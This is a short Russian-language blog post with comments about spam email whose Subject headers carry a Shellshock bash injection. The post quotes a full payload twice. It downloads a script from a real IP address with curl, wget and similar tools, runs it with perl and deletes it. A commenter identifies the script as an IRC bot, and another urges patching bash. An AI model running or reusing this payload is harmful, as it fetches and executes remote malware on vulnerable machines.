спам со скриптами в полях заголовка
Oct. 25th, 2014 08:21 amПрибежал спамчик с кучей заголовков вида:
Subject:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165 /ex.txt;perl ex.txt;rm -fr ex.*' &;
как бы очевидно, что и как применяют, но непонятно, для какого это MUA.
Subject:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165 /ex.txt;perl ex.txt;rm -fr ex.*' &;
как бы очевидно, что и как применяют, но непонятно, для какого это MUA.
no subject
Date: 2014-10-25 07:41 am (UTC)no subject
Date: 2014-10-25 07:42 am (UTC)no subject
Date: 2014-10-25 08:28 am (UTC)там, кстати, классический IRC бот
no subject
Date: 2014-10-25 03:50 pm (UTC)В любом случае, баш обновляйте! :)